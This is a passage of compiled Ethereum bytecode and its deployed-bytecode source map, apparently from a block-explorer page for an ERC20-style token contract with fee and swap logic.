92565b805f5b8381101561292257815161290988826128b0565b9750612914836128c7565b9250506001810190506128f5565b5085935050505092915050565b5f60a0820190506129425f83018861200c565b61294f602083018761220a565b818103604083015261296181866128d3565b905061297060608301856120e3565b61297d608083018461200c565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6129be82611f3d565b91506129c983611f3d565b9250826129d9576129d8612987565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612a18601b83611e59565b9150612a23826129e4565b602082019050919050565b5f6020820190508181035f830152612a4581612a0c565b9050919050565b5f612a5682611f3d565b9150612a6183611f3d565b9250828202612a6f81611f3d565b91508282048414831517612a8657612a85612630565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ae7602183611e59565b9150612af282612a8d565b604082019050919050565b5f6020820190508181035f830152612b1481612adb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d129083e0eb0173866196d00e85955ec0b0014a97e4de6c9bac6bf62762bc3e64736f6c634300081e0033
Deployed Bytecode Sourcemap
4406:11896:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6874:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7807:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12201:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7151:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8008:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7060:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7259:141;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1886:148;;;;;;;;;;;;;:::i;:::-;;15902:397;;;;;;;;;;;;;:::i;:::-;;1665:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6965:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7408:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7615:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2042:251;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6874:83;6911:13;6944:5;;;;;;;;;;;;;;;;;6937:12;;6874:83;:::o;7807:193::-;7909:4;7931:39;7940:12;:10;:12::i;:::-;7954:7;7963:6;7931:8;:39::i;:::-;7988:4;7981:11;;7807:193;;;;:::o;12201:92::-;12260:8;;;;;;;;;;;:17;;:25;12278:6;12260:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12201:92;:::o;7151:100::-;7204:7;5104:18;7224:19;;7151:100;:::o;8008:446::-;8140:4;8157:36;8167:6;8175:9;8186:6;8157:9;:36::i;:::-;8204:220;8227:6;8248:12;:10;:12::i;:::-;8275:138;8331:6;8275:138;;;;;;;;;;;;;;;;;:11;:19;8287:6;8275:19;;;;;;;;;;;;;;;:33;8295:12;:10;:12::i;:::-;8275:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8204:8;:220::i;:::-;8442:4;8435:11;;8008:446;;;;;:::o;7060:83::-;7101:5;4644:1;7119:16;;7060:83;:::o;7259:141::-;7325:7;7352:40;7372:10;:19;7383:7;7372:19;;;;;;;;;;;;;;;;7352;:40::i;:::-;7345:47;;7259:141;;;:::o;1886:148::-;1802:12;:10;:12::i;:::-;1792:22;;:6;;;;;;;;;;;:22;;;1784:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;1993:1:::1;1956:40;;1977:6;;;;;;;;;;;1956:40;;;;;;;;;;;;2024:1;2007:6;;:19;;;;;;;;;;;;;;;;;;1886:148::o:0;15902:397::-;1802:12;:10;:12::i;:::-;1792:22;;:6;;;;;;;;;;;:22;;;1784:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;15955:64:::1;15972:4;15987:16;;;;;;;;;;;5104:18;15955:8;:64::i;:::-;16030:16;;;;;;;;;;;:32;;;16070:21;16101:4;16107:24;16125:4;16107:9;:24::i;:::-;16132:1;16134;16136:7;:5;:7::i;:::-;16144:15;16030:130;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;16189:4;16173:13;::::0;:20:::1;;;;;;;;;;;;;;;;;;16218:4;16204:11;;:18;;;;;;;;;;;;;;;;;;16256:1;16235:18;:22;;;;16290:1;16268:19;:23;;;;15902:397::o:0;1665:79::-;1703:7;1730:6;;;;;;;;;;;1723:13;;1665:79;:::o;6965:87::-;7004:13;7037:7;;;;;;;;;;;;;;;;;7030:14;;6965:87;:::o;7408:199::-;7513:4;7535:42;7545:12;:10;:12::i;:::-;7559:9;7570:6;7535:9;:42::i;:::-;7595:4;7588:11;;7408:199;;;;:::o;7615:184::-;7732:7;7764:11;:18;7776:5;7764:18;;;;;;;;;;;;;;;:27;7783:7;7764:27;;;;;;;;;;;;;;;;7757:34;;7615:184;;;;:::o;2042:251::-;1802:12;:10;:12::i;:::-;1792:22;;:6;;;;;;;;;;;:22;;;1784:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;2151:1:::1;2131:22;;:8;:22;;::::0;2123:80:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2248:8;2219:38;;2240:6;;;;;;;;;;;2219:38;;;;;;;;;;;;2277:8;2268:6;;:17;;;;;;;;;;;;;;;;;;2042:251:::0;:::o;417:98::-;470:7;497:10;490:17;;417:98;:::o;9215:369::-;9359:1;9342:19;;:5;:19;;;9334:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9440:1;9421:21;;:7;:21;;;9413:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9522:6;9492:11;:18;9504:5;9492:18;;;;;;;;;;;;;;;:27;9511:7;9492:27;;;;;;;;;;;;;;;:36;;;;9560:7;9544:32;;9553:5;9544:32;;;9569:6;9544:32;;;;;;:::i;:::-;;;;;;;;9215:369;;;:::o;9592:2107::-;9730:1;9714:18;;:4;:18;;;9706:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9807:1;9793:16;;:2;:16;;;9785:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9877:1;9868:6;:10;9860:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9949:7;:5;:7::i;:::-;9941:15;;:4;:15;;;;:32;;;;;9966:7;:5;:7::i;:::-;9960:13;;:2;:13;;;;9941:32;9937:910;;;10001:14;;;;;;;;;;;9995:20;;:2;:20;;;9992:148;;10069:15;;10060:6;10044:13;10054:2;10044:9;:13::i;:::-;:22;;;;:::i;:::-;:40;10036:88;;;;;;;;;;;;:::i;:::-;;;;;;;;;9992:148;10156:17;10176:24;10194:4;10176:9;:24::i;:::-;10156:44;;10215:12;10243:15;;10230:9;:28;;10215:43;;10291:19;;10278:9;:32;10275:116;;10356:19;;10344:31;;10275:116;10411:7;:18;;;;;10423:6;;;;;;;;;;;10422:7;10411:18;:42;;;;;10439:14;;;;;;;;;;;10433:20;;:2;:20;;;10411:42;:57;;;;;10457:11;;;;;;;;;;;10411:57;:88;;;;;10473:20;:26;10494:4;10473:26;;;;;;;;;;;;;;;;;;;;;;;;;10472:27;10411:88;:117;;;;;10504:20;:24;10525:2;10504:24;;;;;;;;;;;;;;;;;;;;;;;;;10503:25;10411:117;10407:429;;;10563:15;;10553:6;:25;10549:75;;10597:27;10614:9;10597:16;:27::i;:::-;10549:75;10643:26;10672:21;10643:50;;10737:1;10716:18;:22;10712:109;;;10763:38;10779:21;10763:15;:38::i;:::-;10712:109;10530:306;10407:429;9975:872;;9937:910;10859:12;10874:4;10859:19;;10937:20;:26;10958:4;10937:26;;;;;;;;;;;;;;;;;;;;;;;;;:54;;;;10967:20;:24;10988:2;10967:24;;;;;;;;;;;;;;;;;;;;;;;;;10937:54;10936:122;;;;11019:14;;;;;;;;;;;11011:22;;:4;:22;;;;:46;;;;;11043:14;;;;;;;;;;;11037:20;;:2;:20;;;;11011:46;10936:122;10918:676;;;11095:5;11085:15;;10918:676;;;11178:14;;;;;;;;;;;11170:22;;:4;:22;;;:57;;;;;11210:16;;;;;;;;;;;11196:31;;:2;:31;;;;11170:57;11167:181;;;11265:15;;11248:14;:32;;;;11314:18;;11299:12;:33;;;;11167:181;11407:14;;;;;;;;;;;11401:20;;:2;:20;;;:57;;;;;11441:16;;;;;;;;;;;11425:33;;:4;:33;;;;11401:57;11397:184;;;11496:16;;11479:14;:33;;;;11546:19;;11531:12;:34;;;;11397:184;10918:676;11606:85;11632:4;11638:2;11642:6;11650:7;11659:20;:31;11680:9;11659:31;;;;;;;;;;;;;;;;;;;;;;;;;11606:25;:85::i;:::-;9695:2004;9592:2107;;;:::o;2657:224::-;2777:7;2810:1;2805;:6;;2813:12;2797:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2837:9;2853:1;2849;:5;;;;:::i;:::-;2837:17;;2872:1;2865:8;;;2657:224;;;;;:::o;8462:327::-;8557:7;8615:11;;8604:7;:22;;8582:114;;;;;;;;;;;;:::i;:::-;;;;;;;;;8707:19;8729:10;:8;:10::i;:::-;8707:32;;8757:24;8769:11;8757:7;:11;;:24;;;;:::i;:::-;8750:31;;;8462:327;;;:::o;11707:486::-;6199:4;6190:6;;:13;;;;;;;;;;;;;;;;;;11785:21:::1;11823:1;11809:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11785:40;;11854:4;11836;11841:1;11836:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11880:16;;;;;;;;;;;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11870:4;11875:1;11870:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;::::0;::::1;11914:63;11931:4;11946:16;;;;;;;;;;;11965:11;11914:8;:63::i;:::-;11988:16;;;;;;;;;;;:67;;;12070:11;12096:1;12112:4;12139;12159:15;11988:197;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11774:419;6235:5:::0;6226:6;;:14;;;;;;;;;;;;;;;;;;11707:486;:::o;12301:411::-;12495:7;12490:33;;12504:19;:17;:19::i;:::-;12490:33;12534:47;12555:6;12563:9;12574:6;12534:20;:47::i;:::-;12597:7;12592:34;;12606:20;:18;:20::i;:::-;12592:34;12650:1;12641:6;:10;:25;;;;;12655:11;12641:25;12637:67;;;12668:36;12677:6;12685:10;12697:6;12668:8;:36::i;:::-;12637:67;12301:411;;;;;:::o;15434:166::-;15476:7;15497:15;15514;15533:19;:17;:19::i;:::-;15496:56;;;;15572:20;15584:7;15572;:11;;:20;;;;:::i;:::-;15565:27;;;;15434:166;:::o;3143:132::-;3201:7;3228:39;3232:1;3235;3228:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3221:46;;3143:132;;;;:::o;8797:262::-;8867:1;8849:14;;:19;:40;;;;;8888:1;8872:12;;:17;8849:40;8891:7;8845:53;8935:14;;8910:22;:39;;;;8981:12;;8960:18;:33;;;;9023:1;9006:14;:18;;;;9050:1;9035:12;:16;;;;8797:262;:::o;12720:625::-;12870:15;12900:23;12938:12;12965:23;13003:12;13030:13;13057:19;13068:7;13057:10;:19::i;:::-;12855:221;;;;;;;;;;;;13108:31;13131:7;13108:10;:18;13119:6;13108:18;;;;;;;;;;;;;;;;:22;;:31;;;;:::i;:::-;13087:10;:18;13098:6;13087:18;;;;;;;;;;;;;;;:52;;;;13174:42;13200:15;13174:10;:21;13185:9;13174:21;;;;;;;;;;;;;;;;:25;;:42;;;;:::i;:::-;13150:10;:21;13161:9;13150:21;;;;;;;;;;;;;;;:66;;;;13227:16;13237:5;13227:9;:16::i;:::-;13254:23;13266:4;13272;13254:11;:23::i;:::-;13310:9;13293:44;;13302:6;13293:44;;;13321:15;13293:44;;;;;;:::i;:::-;;;;;;;;12844:501;;;;;;12720:625;;;:::o;9067:140::-;9133:22;;9116:14;:39;;;;9181:18;;9166:12;:33;;;;9067:140::o;15608:286::-;15659:7;15668;15688:15;15706:11;;15688:29;;15728:15;5104:18;15728:30;;15783:29;5104:18;15783:11;;:15;;:29;;;;:::i;:::-;15773:7;:39;15769:79;;;15822:11;;5104:18;15814:34;;;;;;;;15769:79;15869:7;15878;15861:25;;;;;;15608:286;;;:::o;3283:223::-;3403:7;3435:1;3431;:5;3438:12;3423:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3462:9;3478:1;3474;:5;;;;:::i;:::-;3462:17;;3497:1;3490:8;;;3283:223;;;;;:::o;13776:627::-;13876:7;13898;13920;13942;13964;13986;14022:23;14047:12;14061:13;14091:50;14103:7;14112:14;;14128:12;;14091:11;:50::i;:::-;14021:120;;;;;;14152:19;14174:10;:8;:10::i;:::-;14152:32;;14196:15;14213:23;14238:12;14267:46;14279:7;14288:4;14294:5;14301:11;14267;:46::i;:::-;14195:118;;;;;;14334:7;14343:15;14360:4;14366:15;14383:4;14389:5;14326:69;;;;;;;;;;;;;;;;;;;13776:627;;;;;;;:::o;2513:136::-;2571:7;2598:43;2602:1;2605;2598:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2591:50;;2513:136;;;;:::o;2326:179::-;2384:7;2404:9;2420:1;2416;:5;;;;:::i;:::-;2404:17;;2445:1;2440;:6;;2432:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2496:1;2489:8;;;2326:179;;;;:::o;13353:217::-;13406:19;13428:10;:8;:10::i;:::-;13406:32;;13449:13;13465:22;13475:11;13465:5;:9;;:22;;;;:::i;:::-;13449:38;;13526:36;13556:5;13526:10;:25;13545:4;13526:25;;;;;;;;;;;;;;;;:29;;:36;;;;:::i;:::-;13498:10;:25;13517:4;13498:25;;;;;;;;;;;;;;;:64;;;;13395:175;;13353:217;:::o;13578:153::-;13660:21;13676:4;13660:11;;:15;;:21;;;;:::i;:::-;13646:11;:35;;;;13704:19;13718:4;13704:9;;:13;;:19;;;;:::i;:::-;13692:9;:31;;;;13578:153;;:::o;14411:471::-;14580:7;14602;14624;14659:12;14674:30;14700:3;14674:21;14686:8;14674:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;14659:45;;14715:13;14731:28;14755:3;14731:19;14743:6;14731:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;14715:44;;14770:23;14796:28;14818:5;14796:17;14808:4;14796:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;14770:54;;14845:15;14862:4;14868:5;14837:37;;;;;;;;;14411:471;;;;;;;:::o;14890:536::-;15084:7;15106;15128;15163:15;15181:24;15193:11;15181:7;:11;;:24;;;;:::i;:::-;15163:42;;15216:12;15231:21;15240:11;15231:4;:8;;:21;;;;:::i;:::-;15216:36;;15263:13;15279:22;15289:11;15279:5;:9;;:22;;;;:::i;:::-;15263:38;;15312:23;15338:28;15360:5;15338:17;15350:4;15338:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;15312:54;;15387:7;15396:15;15413:4;15379:39;;;;;;;;;;14890:536;;;;;;;;:::o;2889:246::-;2947:7;2976:1;2971;:6;2967:47;;3001:1;2994:8;;;;2967:47;3024:9;3040:1;3036;:5;;;;:::i;:::-;3024:17;;3069:1;3064;3060;:5;;;;:::i;:::-;:10;3052:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;3126:1;3119:8;;;2889:246;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:329::-;3398:6;3447:2;3435:9;3426:7;3422:23;3418:32;3415:119;;;3453:79;;:::i;:::-;3415:119;3573:1;3598:53;3643:7;3634:6;3623:9;3619:22;3598:53;:::i;:::-;3588:63;;3544:117;3339:329;;;;:::o;3674:118::-;3761:24;3779:5;3761:24;:::i;:::-;3756:3;3749:37;3674:118;;:::o;3798:222::-;3891:4;3929:2;3918:9;3914:18;3906:26;;3942:71;4010:1;3999:9;3995:17;3986:6;3942:71;:::i;:::-;3798:222;;;;:::o;4026:619::-;4103:6;4111;4119;4168:2;4156:9;4147:7;4143:23;4139:32;4136:119;;;4174:79;;:::i;:::-;4136:119;4294:1;4319:53;4364:7;4355:6;4344:9;4340:22;4319:53;:::i;:::-;4309:63;;4265:117;4421:2;4447:53;4492:7;4483:6;4472:9;4468:22;4447:53;:::i;:::-;4437:63;;4392:118;4549:2;4575:53;4620:7;4611:6;4600:9;4596:22;4575:53;:::i;:::-;4565:63;;4520:118;4026:619;;;;;:::o;4651:86::-;4686:7;4726:4;4719:5;4715:16;4704:27;;4651:86;;;:::o;4743:112::-;4826:22;4842:5;4826:22;:::i;:::-;4821:3;4814:35;4743:112;;:::o;4861:214::-;4950:4;4988:2;4977:9;4973:18;4965:26;;5001:67;5065:1;5054:9;5050:17;5041:6;5001:67;:::i;:::-;4861:214;;;;:::o;5081:329::-;5140:6;5189:2;5177:9;5168:7;5164:23;5160:32;5157:119;;;5195:79;;:::i;:::-;5157:119;5315:1;5340:53;5385:7;5376:6;5365:9;5361:22;5340:53;:::i;:::-;5330:63;;5286:117;5081:329;;;;:::o;5416:118::-;5503:24;5521:5;5503:24;:::i;:::-;5498:3;5491:37;5416:118;;:::o;5540:222::-;5633:4;5671:2;5660:9;5656:18;5648:26;;5684:71;5752:1;5741:9;5737:17;5728:6;5684:71;:::i;:::-;5540:222;;;;:::o;5768:474::-;5836:6;5844;5893:2;5881:9;5872:7;5868:23;5864:32;5861:119;;;5899:79;;:::i;:::-;5861:119;6019:1;6044:53;6089:7;6080:6;6069:9;6065:22;6044:53;:::i;:::-;6034:63;;5990:117;6146:2;6172:53;6217:7;6208:6;6197:9;6193:22;6172:53;:::i;:::-;6162:63;;6117:118;5768:474;;;;;:::o;6248:226::-;6388:34;6384:1;6376:6;6372:14;6365:58;6457:9;6452:2;6444:6;6440:15;6433:34;6248:226;:::o;6480:366::-;6622:3;6643:67;6707:2;6702:3;6643:67;:::i;:::-;6636:74;;6719:93;6808:3;6719:93;:::i;:::-;6837:2;6832:3;6828:12;6821:19;;6480:366;;;:::o;6852:419::-;7018:4;7056:2;7045:9;7041:18;7033:26;;7105:9;7099:4;7095:20;7091:1;7080:9;7076:17;7069:47;7133:131;7259:4;7133:131;:::i;:::-;7125:139;;6852:419;;;:::o;7277:85::-;7322:7;7351:5;7340:16;;7277:85;;;:::o;7368:60::-;7396:3;7417:5;7410:12;;7368:60;;;:::o;7434:158::-;7492:9;7525:61;7543:42;7552:32;7578:5;7552:32;:::i;:::-;7543:42;:::i;:::-;7525:61;:::i;:::-;7512:74;;7434:158;;;:::o;7598:147::-;7693:45;7732:5;7693:45;:::i;:::-;7688:3;7681:58;7598:147;;:::o;7751:807::-;8000:4;8038:3;8027:9;8023:19;8015:27;;8052:71;8120:1;8109:9;8105:17;8096:6;8052:71;:::i;:::-;8133:72;8201:2;8190:9;8186:18;8177:6;8133:72;:::i;:::-;8215:80;8291:2;8280:9;8276:18;8267:6;8215:80;:::i;:::-;8305;8381:2;8370:9;8366:18;8357:6;8305:80;:::i;:::-;8395:73;8463:3;8452:9;8448:19;8439:6;8395:73;:::i;:::-;8478;8546:3;8535:9;8531:19;8522:6;8478:73;:::i;:::-;7751:807;;;;;;;;;:::o;8564:143::-;8621:5;8652:6;8646:13;8637:22;;8668:33;8695:5;8668:33;:::i;:::-;8564:143;;;;:::o;8713:663::-;8801:6;8809;8817;8866:2;8854:9;8845:7;8841:23;8837:32;8834:119;;;8872:79;;:::i;:::-;8834:119;8992:1;9017:64;9073:7;9064:6;9053:9;9049:22;9017:64;:::i;:::-;9007:74;;8963:128;9130:2;9156:64;9212:7;9203:6;9192:9;9188:22;9156:64;:::i;:::-;9146:74;;9101:129;9269:2;9295:64;9351:7;9342:6;9331:9;9327:22;9295:64;:::i;:::-;9285:74;;9240:129;8713:663;;;;;:::o;9382:232::-;9522:34;9518:1;9510:6;9506:14;9499:58;9591:15;9586:2;9578:6;9574:15;9567:40;9382:232;:::o;9620:366::-;9762:3;9783:67;9847:2;9842:3;9783:67;:::i;:::-;9776:74;;9859:93;9948:3;9859:93;:::i;:::-;9977:2;9972:3;9968:12;9961:19;;9620:366;;;:::o;9992:419::-;10158:4;10196:2;10185:9;10181:18;10173:26;;10245:9;10239:4;10235:20;10231:1;10220:9;10216:17;10209:47;10273:131;10399:4;10273:131;:::i;:::-;10265:139;;9992:419;;;:::o;10417:223::-;10557:34;10553:1;10545:6;10541:14;10534:58;10626:6;10621:2;10613:6;10609:15;10602:31;10417:223;:::o;10646:366::-;10788:3;10809:67;10873:2;10868:3;10809:67;:::i;:::-;10802:74;;10885:93;10974:3;10885:93;:::i;:::-;11003:2;10998:3;10994:12;10987:19;;10646:366;;;:::o;11018:419::-;11184:4;11222:2;11211:9;11207:18;11199:26;;11271:9;11265:4;11261:20;11257:1;11246:9;11242:17;11235:47;11299:131;11425:4;11299:131;:::i;:::-;11291:139;;11018:419;;;:::o;11443:221::-;11583:34;11579:1;11571:6;11567:14;11560:58;11652:4;11647:2;11639:6;11635:15;11628:29;11443:221;:::o;11670:366::-;11812:3;11833:67;11897:2;11892:3;11833:67;:::i;:::-;11826:74;;11909:93;11998:3;11909:93;:::i;:::-;12027:2;12022:3;12018:12;12011:19;;11670:366;;;:::o;12042:419::-;12208:4;12246:2;12235:9;12231:18;12223:26;;12295:9;12289:4;12285:20;12281:1;12270:9;12266:17;12259:47;12323:131;12449:4;12323:131;:::i;:::-;12315:139;;12042:419;;;:::o;12467:224::-;12607:34;12603:1;12595:6;12591:14;12584:58;12676:7;12671:2;12663:6;12659:15;12652:32;12467:224;:::o;12697:366::-;12839:3;12860:67;12924:2;12919:3;12860:67;:::i;:::-;12853:74;;12936:93;13025:3;12936:93;:::i;:::-;13054:2;13049:3;13045:12;13038:19;;12697:366;;;:::o;13069:419::-;13235:4;13273:2;13262:9;13258:18;13250:26;;13322:9;13316:4;13312:20;13308:1;13297:9;13293:17;13286:47;13350:131;13476:4;13350:131;:::i;:::-;13342:139;;13069:419;;;:::o;13494:222::-;13634:34;13630:1;13622:6;13618:14;13611:58;13703:5;13698:2;13690:6;13686:15;13679:30;13494:222;:::o;13722:366::-;13864:3;13885:67;13949:2;13944:3;13885:67;:::i;:::-;13878:74;;13961:93;14050:3;13961:93;:::i;:::-;14079:2;14074:3;14070:12;14063:19;;13722:366;;;:::o;14094:419::-;14260:4;14298:2;14287:9;14283:18;14275:26;;14347:9;14341:4;14337:20;14333:1;14322:9;14318:17;14311:47;14375:131;14501:4;14375:131;:::i;:::-;14367:139;;14094:419;;;:::o;14519:228::-;14659:34;14655:1;14647:6;14643:14;14636:58;14728:11;14723:2;14715:6;14711:15;14704:36;14519:228;:::o;14753:366::-;14895:3;14916:67;14980:2;14975:3;14916:67;:::i;:::-;14909:74;;14992:93;15081:3;14992:93;:::i;:::-;15110:2;15105:3;15101:12;15094:19;;14753:366;;;:::o;15125:419::-;15291:4;15329:2;15318:9;15314:18;15306:26;;15378:9;15372:4;15368:20;15364:1;15353:9;15349:17;15342:47;15406:131;15532:4;15406:131;:::i;:::-;15398:139;;15125:419;;;:::o;15550:180::-;15598:77;15595:1;15588:88;15695:4;15692:1;15685:15;15719:4;15716:1;15709:15;15736:191;15776:3;15795:20;15813:1;15795:20;:::i;:::-;15790:25;;15829:20;15847:1;15829:20;:::i;:::-;15824:25;;15872:1;15869;15865:9;15858:16;;15893:3;15890:1;15887:10;15884:36;;;15900:18;;:::i;:::-;15884:36;15736:191;;;;:::o;15933:222::-;16073:34;16069:1;16061:6;16057:14;16050:58;16142:5;16137:2;16129:6;16125:15;16118:30;15933:222;:::o;16161:366::-;16303:3;16324:67;16388:2;16383:3;16324:67;:::i;:::-;16317:74;;16400:93;16489:3;16400:93;:::i;:::-;16518:2;16513:3;16509:12;16502:19;;16161:366;;;:::o;16533:419::-;16699:4;16737:2;16726:9;16722:18;16714:26;;16786:9;16780:4;16776:20;16772:1;16761:9;16757:17;16750:47;16814:131;16940:4;16814:131;:::i;:::-;16806:139;;16533:419;;;:::o;16958:194::-;16998:4;17018:20;17036:1;17018:20;:::i;:::-;17013:25;;17052:20;17070:1;17052:20;:::i;:::-;17047:25;;17096:1;17093;17089:9;17081:17;;17120:1;17114:4;17111:11;17108:37;;;17125:18;;:::i;:::-;17108:37;16958:194;;;;:::o;17158:229::-;17298:34;17294:1;17286:6;17282:14;17275:58;17367:12;17362:2;17354:6;17350:15;17343:37;17158:229;:::o;17393:366::-;17535:3;17556:67;17620:2;17615:3;17556:67;:::i;:::-;17549:74;;17632:93;17721:3;17632:93;:::i;:::-;17750:2;17745:3;17741:12;17734:19;;17393:366;;;:::o;17765:419::-;17931:4;17969:2;17958:9;17954:18;17946:26;;18018:9;18012:4;18008:20;18004:1;17993:9;17989:17;17982:47;18046:131;18172:4;18046:131;:::i;:::-;18038:139;;17765:419;;;:::o;18190:180::-;18238:77;18235:1;18228:88;18335:4;18332:1;18325:15;18359:4;18356:1;18349:15;18376:180;18424:77;18421:1;18414:88;18521:4;18518:1;18511:15;18545:4;18542:1;18535:15;18562:143;18619:5;18650:6;18644:13;18635:22;;18666:33;18693:5;18666:33;:::i;:::-;18562:143;;;;:::o;18711:351::-;18781:6;18830:2;18818:9;18809:7;18805:23;18801:32;18798:119;;;18836:79;;:::i;:::-;18798:119;18956:1;18981:64;19037:7;19028:6;19017:9;19013:22;18981:64;:::i;:::-;18971:74;;18927:128;18711:351;;;;:::o;19068:114::-;19135:6;19169:5;19163:12;19153:22;;19068:114;;;:::o;19188:184::-;19287:11;19321:6;19316:3;19309:19;19361:4;19356:3;19352:14;19337:29;;19188:184;;;;:::o;19378:132::-;19445:4;19468:3;19460:11;;19498:4;19493:3;19489:14;19481:22;;19378:132;;;:::o;19516:108::-;19593:24;19611:5;19593:24;:::i;:::-;19588:3;19581:37;19516:108;;:::o;19630:179::-;19699:10;19720:46;19762:3;19754:6;19720:46;:::i;:::-;19798:4;19793:3;19789:14;19775:28;;19630:179;;;;:::o;19815:113::-;19885:4;19917;19912:3;19908:14;19900:22;;19815:113;;;:::o;19964:732::-;20083:3;20112:54;20160:5;20112:54;:::i;:::-;20182:86;20261:6;20256:3;20182:86;:::i;:::-;20175:93;;20292:56;20342:5;20292:56;:::i;:::-;20371:7;20402:1;20387:284;20412:6;20409:1;20406:13;20387:284;;;20488:6;20482:13;20515:63;20574:3;20559:13;20515:63;:::i;:::-;20508:70;;20601:60;20654:6;20601:60;:::i;:::-;20591:70;;20447:224;20434:1;20431;20427:9;20422:14;;20387:284;;;20391:14;20687:3;